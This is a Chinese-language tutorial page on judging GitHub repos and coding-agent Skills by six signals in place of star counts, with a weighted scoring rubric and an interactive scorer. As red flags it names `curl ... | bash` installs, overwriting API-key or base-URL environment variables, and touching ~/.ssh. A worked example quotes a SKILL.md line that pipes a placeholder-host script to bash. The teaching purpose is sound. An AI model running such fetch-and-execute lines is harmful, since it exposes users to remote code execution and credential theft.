> ## Documentation Index
> Fetch the complete documentation index at: https://felimet-hub.jmcores.com/llms.txt
> Use this file to discover all available pages before exploring further.

# 03-2 跳脫 star 數迷思的評估框架

> GitHub star 數反映的是行銷觸及，不是品質、安全或維護活躍度。這個單元給你一組更可靠的六訊號，與一個可重複套用的評分 rubric，讓選工具的決策有根據而不是憑感覺。

export const RepoRubric = ({lang = "zh"}) => {
  const t = ({
    zh: {
      title: "候選 repo 評分器",
      subtitle: "對六個訊號各打分 0-3，觀察 veto 規則的運作方式",
      signals: [{
        key: "maintenance",
        label: "維護近度",
        weight: 20,
        hint: "近 90 天是否有 commit？"
      }, {
        key: "response",
        label: "Issue / PR 回應",
        weight: 15,
        hint: "中位回應天數 < 30？"
      }, {
        key: "provenance",
        label: "Provenance",
        weight: 15,
        hint: "擁有者具名？commit 有簽章？"
      }, {
        key: "permissions",
        label: "權限範圍",
        weight: 25,
        hint: "不含 curl|bash、不改環境變數？"
      }, {
        key: "tests",
        label: "測試與文件",
        weight: 15,
        hint: "CI 綠？文件近期更新？"
      }, {
        key: "deps",
        label: "相依健康",
        weight: 10,
        hint: "核心依賴未 archive 或 deprecated？"
      }],
      scoreLabels: ["0 — 紅燈", "1 — 有疑慮", "2 — 符合預期", "3 — 超出預期"],
      weightedScore: "加權分數",
      verdict: {
        veto: "紅燈淘汰（有訊號得 0 分）",
        skip: "不採用（加權分 < 1.5）",
        trial: "進試用協定（1.5 ≤ 加權分 < 1.8）",
        adopt: "採納（加權分 ≥ 1.8）"
      },
      vetoNote: "注意：任一訊號 0 分即觸發紅燈，無論加權分多高。"
    },
    en: {
      title: "Candidate repo scorer",
      subtitle: "Score each of the six signals 0-3 and observe how the veto rule operates",
      signals: [{
        key: "maintenance",
        label: "Recency of maintenance",
        weight: 20,
        hint: "Any commits in the past 90 days?"
      }, {
        key: "response",
        label: "Issue / PR responsiveness",
        weight: 15,
        hint: "Median response time < 30 days?"
      }, {
        key: "provenance",
        label: "Provenance",
        weight: 15,
        hint: "Named owner? Signed commits?"
      }, {
        key: "permissions",
        label: "Permission scope",
        weight: 25,
        hint: "No curl|bash, no env var overwrite?"
      }, {
        key: "tests",
        label: "Tests and documentation",
        weight: 15,
        hint: "CI green? Docs recently updated?"
      }, {
        key: "deps",
        label: "Dependency health",
        weight: 10,
        hint: "No archived or deprecated core deps?"
      }],
      scoreLabels: ["0 - Red flag", "1 - Concerns", "2 - Meets expectations", "3 - Exceeds expectations"],
      weightedScore: "Weighted score",
      verdict: {
        veto: "Red light - eliminated (signal scored 0)",
        skip: "Do not adopt (score < 1.5)",
        trial: "Run trial protocol (1.5 <= score < 1.8)",
        adopt: "Adopt (score >= 1.8)"
      },
      vetoNote: "Note: any signal at 0 triggers a red light, regardless of the weighted total."
    }
  })[lang];
  const initialScores = () => {
    const obj = {};
    t.signals.forEach(s => {
      obj[s.key] = 2;
    });
    return obj;
  };
  const [scores, setScores] = useState(initialScores);
  const hasVeto = Object.values(scores).some(v => v === 0);
  const weighted = t.signals.reduce((acc, s) => acc + scores[s.key] * s.weight, 0) / 100;
  const getVerdict = () => {
    if (hasVeto) return {
      label: t.verdict.veto,
      color: "var(--rr-red)"
    };
    if (weighted < 1.5) return {
      label: t.verdict.skip,
      color: "var(--rr-red)"
    };
    if (weighted < 1.8) return {
      label: t.verdict.trial,
      color: "var(--rr-amber)"
    };
    return {
      label: t.verdict.adopt,
      color: "var(--rr-green)"
    };
  };
  const verdict = getVerdict();
  const scoreColor = v => {
    if (v === 0) return "var(--rr-red)";
    if (v === 1) return "var(--rr-amber)";
    if (v === 2) return "var(--rr-text-muted)";
    return "var(--rr-green)";
  };
  const css = `
    .rr-root {
      --rr-sienna: #bf7551;
      --rr-sienna-light: #cf8a68;
      --rr-bg: #f5f0eb;
      --rr-surface: #faf7f3;
      --rr-border: #e0d6cc;
      --rr-text: #2a1f16;
      --rr-text-muted: #7a6a5a;
      --rr-red: #c0392b;
      --rr-amber: #c07a20;
      --rr-green: #4a7c59;
      font-family: inherit;
      border: 1px solid var(--rr-border);
      border-radius: 10px;
      background: var(--rr-bg);
      padding: 1.25rem 1.5rem 1rem;
      margin: 1.25rem 0;
    }
    .dark .rr-root {
      --rr-bg: #1e1814;
      --rr-surface: #2a211a;
      --rr-border: #3d2f24;
      --rr-text: #f0ebe4;
      --rr-text-muted: #a09080;
      --rr-red: #e05c4a;
      --rr-amber: #d49040;
      --rr-green: #6ab87e;
    }
    .rr-header { margin-bottom: 1rem; }
    .rr-title {
      font-size: 0.95rem;
      font-weight: 600;
      color: var(--rr-sienna);
      margin: 0 0 0.2rem;
    }
    .rr-subtitle {
      font-size: 0.8rem;
      color: var(--rr-text-muted);
      margin: 0;
    }
    .rr-row {
      display: grid;
      grid-template-columns: 1fr auto;
      align-items: center;
      gap: 0.5rem 1rem;
      padding: 0.55rem 0;
      border-bottom: 1px solid var(--rr-border);
    }
    .rr-row:last-of-type { border-bottom: none; }
    .rr-signal-info { min-width: 0; }
    .rr-signal-label {
      font-size: 0.875rem;
      font-weight: 500;
      color: var(--rr-text);
    }
    .rr-signal-hint {
      font-size: 0.73rem;
      color: var(--rr-text-muted);
      margin-top: 0.1rem;
    }
    .rr-weight-badge {
      font-size: 0.65rem;
      background: var(--rr-border);
      color: var(--rr-text-muted);
      padding: 0.1em 0.45em;
      border-radius: 20px;
      margin-left: 0.4rem;
      vertical-align: middle;
    }
    .rr-select-wrap { display: flex; align-items: center; gap: 0.4rem; }
    .rr-select {
      appearance: none;
      -webkit-appearance: none;
      background: var(--rr-surface);
      border: 1px solid var(--rr-border);
      border-radius: 6px;
      padding: 0.28rem 1.8rem 0.28rem 0.55rem;
      font-size: 0.82rem;
      color: var(--rr-text);
      cursor: pointer;
      background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='6' viewBox='0 0 10 6'%3E%3Cpath d='M1 1l4 4 4-4' stroke='%23999' stroke-width='1.5' fill='none' stroke-linecap='round'/%3E%3C/svg%3E");
      background-repeat: no-repeat;
      background-position: right 0.5rem center;
    }
    .rr-select:focus { outline: 2px solid var(--rr-sienna); outline-offset: 1px; }
    .rr-dot {
      width: 8px;
      height: 8px;
      border-radius: 50%;
      flex-shrink: 0;
    }
    .rr-footer {
      margin-top: 0.9rem;
      display: flex;
      flex-direction: column;
      gap: 0.5rem;
    }
    .rr-score-row {
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .rr-score-label { font-size: 0.82rem; color: var(--rr-text-muted); }
    .rr-score-value {
      font-size: 1.1rem;
      font-weight: 700;
      color: var(--rr-text);
      font-variant-numeric: tabular-nums;
    }
    .rr-verdict {
      border-radius: 6px;
      padding: 0.4rem 0.75rem;
      font-size: 0.82rem;
      font-weight: 600;
      background: var(--rr-surface);
      border: 1.5px solid;
      text-align: center;
    }
    .rr-veto-note {
      font-size: 0.72rem;
      color: var(--rr-text-muted);
      text-align: center;
      margin-top: 0.15rem;
    }
    @media (max-width: 480px) {
      .rr-root { padding: 1rem; }
      .rr-row { grid-template-columns: 1fr; }
      .rr-select-wrap { justify-content: flex-start; }
    }
  `;
  return <div className="rr-root">
      <style>{css}</style>
      <div className="rr-header">
        <p className="rr-title">{t.title}</p>
        <p className="rr-subtitle">{t.subtitle}</p>
      </div>

      {t.signals.map(signal => {
    const v = scores[signal.key];
    return <div className="rr-row" key={signal.key}>
            <div className="rr-signal-info">
              <span className="rr-signal-label">
                {signal.label}
                <span className="rr-weight-badge">×{signal.weight}</span>
              </span>
              <div className="rr-signal-hint">{signal.hint}</div>
            </div>
            <div className="rr-select-wrap">
              <div className="rr-dot" style={{
      background: scoreColor(v)
    }} />
              <select className="rr-select" value={v} onChange={e => setScores(prev => ({
      ...prev,
      [signal.key]: Number(e.target.value)
    }))}>
                {[0, 1, 2, 3].map(n => <option key={n} value={n}>
                    {t.scoreLabels[n]}
                  </option>)}
              </select>
            </div>
          </div>;
  })}

      <div className="rr-footer">
        <div className="rr-score-row">
          <span className="rr-score-label">{t.weightedScore}</span>
          <span className="rr-score-value" style={{
    color: hasVeto ? "var(--rr-red)" : verdict.color
  }}>
            {hasVeto ? "—" : weighted.toFixed(2)}
          </span>
        </div>
        <div className="rr-verdict" style={{
    color: verdict.color,
    borderColor: verdict.color
  }}>
          {verdict.label}
        </div>
        <p className="rr-veto-note">{t.vetoNote}</p>
      </div>
    </div>;
};

export const LearnerPrimer = ({items = [], lang = "zh"}) => {
  const t = lang === "en" ? {
    title: "Before this unit, be honest with yourself",
    sub: "If you can't answer these, that gap is exactly what this unit closes."
  } : {
    title: "讀這個單元前，先誠實面對",
    sub: "這幾題答不出來，正是這個單元要替你補的洞。"
  };
  const css = `
  .lp-root{--lp-bg:#FAF7F1;--lp-surface:rgba(191,117,81,0.05);--lp-border:rgba(0,0,0,0.09);--lp-edge:rgba(191,117,81,0.42);--lp-text:#2b2722;--lp-dim:#6f6a62;--lp-accent:#bf7551;border:1px solid var(--lp-border);border-left:3px solid var(--lp-edge);border-radius:13px;background:var(--lp-bg);color:var(--lp-text);overflow:hidden;margin:1.25rem 0;}
  .dark .lp-root{--lp-bg:#1b1a18;--lp-surface:rgba(207,138,104,0.07);--lp-border:rgba(255,255,255,0.08);--lp-edge:rgba(207,138,104,0.5);--lp-text:#e7e3da;--lp-dim:#a8a299;--lp-accent:#cf8a68;}
  .lp-head{display:flex;align-items:center;gap:9px;padding:13px 18px 11px;border-bottom:1px solid var(--lp-border);background:var(--lp-surface);}
  .lp-ic{color:var(--lp-accent);flex-shrink:0;}
  .lp-htx{display:flex;flex-direction:column;gap:1px;min-width:0;}
  .lp-title{font-size:14px;font-weight:650;line-height:1.3;letter-spacing:.01em;}
  .lp-sub{font-size:12px;color:var(--lp-dim);line-height:1.4;}
  .lp-list{list-style:none;margin:0;padding:10px 18px 14px;display:flex;flex-direction:column;gap:0;}
  .lp-item{display:flex;align-items:baseline;gap:11px;padding:7px 0;font-size:14px;line-height:1.6;border-top:1px solid var(--lp-border);}
  .lp-item:first-child{border-top:none;}
  .lp-mark{flex-shrink:0;color:var(--lp-accent);font-size:13px;font-weight:700;line-height:1.55;font-variant-numeric:tabular-nums;opacity:.85;}
  .lp-q{flex:1 1 0;min-width:0;color:var(--lp-text);}
  @media (max-width:620px){.lp-head{padding:12px 14px 10px;}.lp-list{padding:8px 14px 12px;}}
  `;
  return <div className="lp-root">
      <style>{css}</style>
      <div className="lp-head">
        <svg className="lp-ic" xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"><circle cx="12" cy="12" r="10" /><circle cx="12" cy="12" r="6" /><circle cx="12" cy="12" r="2" /></svg>
        <span className="lp-htx">
          <span className="lp-title">{t.title}</span>
          <span className="lp-sub">{t.sub}</span>
        </span>
      </div>
      <ul className="lp-list">
        {items.map((q, i) => <li className="lp-item" key={i}>
            <span className="lp-mark">{String(i + 1).padStart(2, "0")}</span>
            <span className="lp-q">{q}</span>
          </li>)}
      </ul>
    </div>;
};

<LearnerPrimer
  lang="zh"
  items={[
"star 反映行銷觸及，不反映你用不用得上",
"35k star 的 awesome 清單，18 個月沒動很常見",
"看 Insights 下的 Contributors，比看 README 誠實",
"任一訊號 0 分就淘汰，加總高分救不回紅燈",
"發現入口跟背書是兩件事，awesome 清單只是策展",
"你的評分 rubric 寫下來了嗎？沒寫就是憑感覺",
"benchmark 第一名沒給條件，那個第一對你沒意義",
]}
/>

<Info>
  **這個單元解決什麼問題**

  GitHub star 數量主要反映「行銷觸及」與「一時熱度」，不反映「對你是否好用」「是否安全」「是否還在維護」。這個單元給你一組更可靠的訊號，與一個可重複套用的評分 rubric。
</Info>

## 學習目標

* [ ] 能說明 star 數作為訊號的偏差來源。
* [ ] 能列出至少六個比 star 更可靠的評估訊號，並知道怎麼實際查。
* [ ] 能用一個個人評分 rubric 對一個 repo / Skill 打分並做決策。
* [ ] 能區分「發現入口」與「背書」這兩件事。

***

## 1. star 數的訊號與雜訊

star 是 GitHub 平台上使用者對 repo 表達「有興趣 / 收藏 / 致敬」的按鈕。它不是品質認證，也不是活躍度指標。對 791 位開發者的調查顯示，四分之三的人在採用或貢獻開源專案前會看 star 數 \[1]。

把這個事實放進決策鏈裡的副作用是：當 star 成為預設篩選器，它跟專案實際健康狀態的對應就會被嚴重高估。原始研究分析了 5,000 個高 star repo 的增長曲線，識別出至少四種 star 模式，結論明確指出「依 star 數選專案」的風險 \[1]。

具體偏差來源：

* **發布時機**：Hacker News、Reddit、X 上一波曝光就能衝出大量 star；曝光退燒後這批使用者大部分不會回來貢獻或回報問題。
* **標題與首圖**：README 的 demo GIF、品牌字型、徽章排得漂亮，star 就多；跟程式碼品質無關。
* **語言 / 框架熱度**：同名 repo 在 Rust 圈可能比在 PHP 圈少十倍 star，但這不代表它在 Rust 圈品質差。
* **停滯假象**：高 star 的 repo 可能長時間沒動；社群以為「很多人用所以安全」，實際上是在守一個空殼。

<Note>
  **star 的反例**

  你看到一個 35k star 的「awesome LLM agent」清單 repo，clone 下來一看，最後一次 commit 是 18 個月前；列出的工具一半以上已 archive 或改名；issue 裡累積 200+ 條無人回應的連結失效回報。star 數完全沒告訴你這些。
</Note>

***

## 2. 更可靠的六個訊號

把 star 從評分表刪掉，改看以下六個訊號。每個都有具體可查的觀察方式。

| 訊號                | 觀察方式                                                                           | 紅燈條件                                   |                       |
| ----------------- | ------------------------------------------------------------------------------ | -------------------------------------- | --------------------- |
| **維護近度**          | 看 `Insights → Contributors` 的 commit 熱度圖；近 90 天是否有 commit                      | 近 90 天零 commit 且無 release              |                       |
| **Issue / PR 回應** | 看近 30 條 issue 從開立到首次官方回覆的中位天數；PR merge 中位天數                                    | 中位回應 > 30 天，或 PR 累積超過 50 條未處理          |                       |
| **Provenance**    | 看擁有者是具名個人 / 官方組織還是匿名 fork；看 commit 是否用 GPG / SSH 簽章                            | 擁有者匿名、commit 無簽章、近期所有權突然轉移             |                       |
| **權限範圍**          | 讀 `README`、`.claude/`、`SKILL.md`、`AGENTS.md`，搜 \`curl                          | bash`、改 `ANTHROPIC\_BASE\_URL\`、寫倉庫外路徑 | 要求任意網路下載 + 執行、或覆寫環境變數 |
| **測試與文件**         | 看 CI 狀態徽章、`tests/` 覆蓋率文件、`CHANGELOG.md` 是否隨 release 更新                         | CI 紅、文件停在一年前、`CHANGELOG` 斷更            |                       |
| **相依健康**          | 看 `package.json` / `pyproject.toml` / `requirements.txt` 的 lockfile，檢查關鍵依賴是否棄用 | 核心依賴已 archive 或標 deprecation           |                       |

<Warning>
  **權限範圍先於一切**

  任何要求 `curl ... | bash`、動 `~/.bashrc` / `~/.ssh/`、改 `ANTHROPIC_BASE_URL` / `OPENAI_API_KEY` 環境變數、或寫到 repo 外的 Skill / 規則，**先當危險訊號處理**。具體掃描指令見 [03-3 安全、隱私與供應鏈風險](/code-agent/judgment/security-privacy-supply-chain)。
</Warning>

***

## 3. 行銷 vs 實證

兩個訊號要分開看：作者的「展示」與你手上的「實測」。

* **展示**：demo 影片、首頁 GIF、benchmark 表格。這是作者最想讓你看到的場景，通常挑過。
* **實測**：你拿它跑自己真實的任務、量時間、看可重現性、算花費。這是 [03-1 適合度評估](/code-agent/judgment/fit-evaluation) 單元第二節試用協定的本體。

對「benchmark 第一」保持懷疑。先問三件事：

* 哪個 benchmark？benchmark 的資料分布、評估指標、執行環境是什麼？
* benchmark 的任務與你的任務是否同型？classification 與 generation、單輪與多輪差很多。
* 是否同條件比較？模型版本、prompt、隨機種子、硬體是否一致？

如果 benchmark 條件不公開，或任務跟你差異大，那個「第一」對你沒意義。

***

## 4. 個人評分 rubric

把第二節的六個訊號轉成打分表。給每個訊號一個權重（合計 100），對候選打分；分數低於門檻不採用。

### 4.1 權重範本

| 訊號            | 預設權重 | 說明            |
| ------------- | ---- | ------------- |
| 維護近度          | 20   | 沒人維護的工具不能長期依賴 |
| Issue / PR 回應 | 15   | 維護者是否真的在場     |
| Provenance    | 15   | 來源可溯比來源有名更重要  |
| 權限範圍          | 25   | 安全底線，權重最高     |
| 測試與文件         | 15   | 維護品質          |
| 相依健康          | 10   | 容易被低估但會反咬     |

<Tip>
  **權重依任務調**

  處理敏感資料的專案，把「權限範圍」權重拉到 35、「provenance」拉到 20；其他項同比例下調。內部原型則可調降「測試與文件」到 5。
</Tip>

### 4.2 打分尺度（0-3）

* **0**：紅燈條件成立，直接不採用。
* **1**：勉強過，但有疑慮；採納前要試用。
* **2**：符合預期，沒有明顯問題。
* **3**：超出預期（issue 回應快、有 CI、有簽章、依賴都在維護）。

加權分數 = Σ（訊號分 × 權重）/ 100。門檻建議：加權分 ≥ 1.8 才進 [03-1](/code-agent/judgment/fit-evaluation) 的試用協定；低於 1.5 直接跳過。

### 4.3 互動評分器

用下方評分器實際對一個候選 repo 打分，觀察「任一訊號 0 分 → 整體紅燈淘汰」的 veto 邏輯如何運作，即使其他項都滿分。

<RepoRubric lang="zh" />

***

## 5. 哪裡找、怎麼找

「知道要找什麼」和「在哪裡找到」是兩件事。

* **官方市集與標準站**（provenance 較高，截至 2026-05）：`agents.md` 標準（[agents.md](https://agents.md)）與各工具官方文件列出的擴充 / Skill / plugin。`agents.md` 已於 2025-12 連同 MCP、goose 一起捐入 Linux Foundation 旗下 Agentic AI Foundation（AAIF），由 OpenAI、Anthropic、Block 共同創立，治理與託管細節見 [01-7 第三節](/code-agent/foundations/tool-landscape-2026)。來源可溯性高但量少。
* **社群清單**（量大、雜訊高，截至 2026-05）：`awesome-cursorrules`、`awesome-agent-skills`、`awesome-mcp-servers` 等 GitHub 列表。當發現入口，不當背書；存活性以當下 GitHub 查詢為準。
* **搜尋引擎 + 限定詞**：把 `awesome`、`plugin`、`skill` 與工具名組合，篩選最近一年內有更新的 repo。

<Warning>
  **發現 ≠ 背書**

  出現在熱門 awesome 清單只代表「被收錄」，不代表「安全」或「適合你」。清單編輯者不替你做安全掃描、不替你跑試用。收錄之後仍要走本單元的六訊號 + [03-3](/code-agent/judgment/security-privacy-supply-chain) 的安全掃描。
</Warning>

***

## 動手做：對一個候選 repo 跑完整評估

整段 30-45 分鐘可做完。拿一個你正在考慮的候選 Skills / 規則檔，依序做兩件事。

### 步驟 A：六訊號觀察

<Steps>
  <Step title="看 repo 首頁">
    看 CI 徽章、Latest Release 與日期、貢獻者頭像（是否活躍）。
  </Step>

  <Step title="進 Insights 看 commit 分布">
    進 `Insights → Contributors` 看近 90 天 commit 分布。
  </Step>

  <Step title="審查 Issues">
    進 `Issues` 排序「最舊未關」，看未解 issue 的年齡與官方回覆間隔。
  </Step>

  <Step title="審查 Pull requests">
    進 `Pull requests` 看未合併的數量與最近 merge 的時間。
  </Step>

  <Step title="掃描 Skill / 規則檔">
    對 Skill / 規則檔，用 `ripgrep`（`rg`）對可疑 pattern 做全文掃描（見 [03-3](/code-agent/judgment/security-privacy-supply-chain)）。
  </Step>

  <Step title="查關鍵依賴">
    查關鍵依賴的 GitHub repo 是否仍活躍、是否標 deprecation。
  </Step>
</Steps>

任一觀察到紅燈條件，直接記 0 分，停止後續步驟。

### 步驟 B：套用 rubric 打分

用第四節之一的權重範本，依下列尺度對六個訊號各打分 0-3：

* 0：紅燈條件成立。
* 1：勉強過，有疑慮。
* 2：符合預期，無明顯問題。
* 3：超出預期。

<Note>
  **評分實作**

  候選 A：一個標榜「自動寫測試」的 Claude Skill，1.2k star。

  * 維護近度 2（90 天內有 8 次 commit）
  * Issue / PR 回應 1（中位 25 天，作者回但慢）
  * Provenance 3（作者具名，commit 有簽章，所在公司公開）
  * 權限範圍 0（SKILL.md 內含 `curl https://example.com/install.sh | bash`）

  加權分 = (2×20 + 1×15 + 3×15 + 0×25 + ?×15 + ?×10) / 100。權限範圍 0 分觸發紅燈直接淘汰，後兩項不必評。

  即使其他訊號都滿分，單一 0 分觸發紅燈的設計就是為了避免「綜合看起來不錯但藏一顆雷」的採納。
</Note>

最後判定：

* 任一訊號 0 分：不採用，理由寫下來。
* 加權分 \< 1.5：不採用，理由寫下來。
* 1.5 ≤ 加權分 \< 1.8：保留觀察，跑 [03-1](/code-agent/judgment/fit-evaluation) 單元第二節試用協定。
* 加權分 ≥ 1.8：採納，寫下使用情境與預計重評日期。

***

## 常見誤區

* **只看 star 與首頁 README 就安裝**。star 反映觸及，README 反映行銷，兩者都不反映你的任務契合度。
* **把社群清單收錄當成品質保證**。清單是策展，不是稽核。awesome 清單裡的死亡 repo 比活躍的多。
* **忽略最後更新時間**。一年沒動的 Skill，採用的當下就要預期它在你下次升級時壞掉。
* **沒分開看展示與實測**。demo 影片很順不代表你用得順；用你真實的任務跑一次才知道。
* **把「人氣高」當成「權限合理」**。人氣不能抵消危險的權限要求，反而提高被模仿的風險。

## 自我檢核

<Check>
  **自我檢核**

  * 你能對一個候選 repo，在不看 star 的前提下做出採用 / 不採用決策嗎？
  * 你目前主要在用的三個 Skill / 規則檔，最後一次檢查權限範圍是什麼時候？檢查時你具體看了哪幾行？
  * 你的個人評分 rubric 寫下來了嗎？權重依你的任務調過了嗎？
  * 上次被 awesome 清單誤導的經驗是什麼？當時是哪個訊號沒看？
</Check>

## 來源與延伸閱讀

事實主張依官方文件，快變動項標註截至 2026-05。

<div className="references">
  * \[1] H. Borges and M. T. Valente, "What's in a GitHub Star? Understanding Repository Starring Practices in a Social Coding Platform," *Journal of Systems and Software*, vol. 146, pp. 112-129, Dec. 2018. （791 位開發者調查，分析 star 增長模式與其與專案健康狀態的脫節） [https://doi.org/10.1016/j.jss.2018.09.016](https://doi.org/10.1016/j.jss.2018.09.016) （截至 2026-05）
</div>

* 安全掃描具體指令見 [03-3 安全、隱私與供應鏈風險](/code-agent/judgment/security-privacy-supply-chain)。
* 量化實測見 [03-4 建立個人 benchmark 與驗證習慣](/code-agent/judgment/personal-benchmark)。
* 適合度決策框架見 [03-1 如何判斷工具與 Skill 是否適合自己](/code-agent/judgment/fit-evaluation)。
* 發現入口清單見 [附錄 D 延伸資源與社群清單](/code-agent/appendix/resources)。
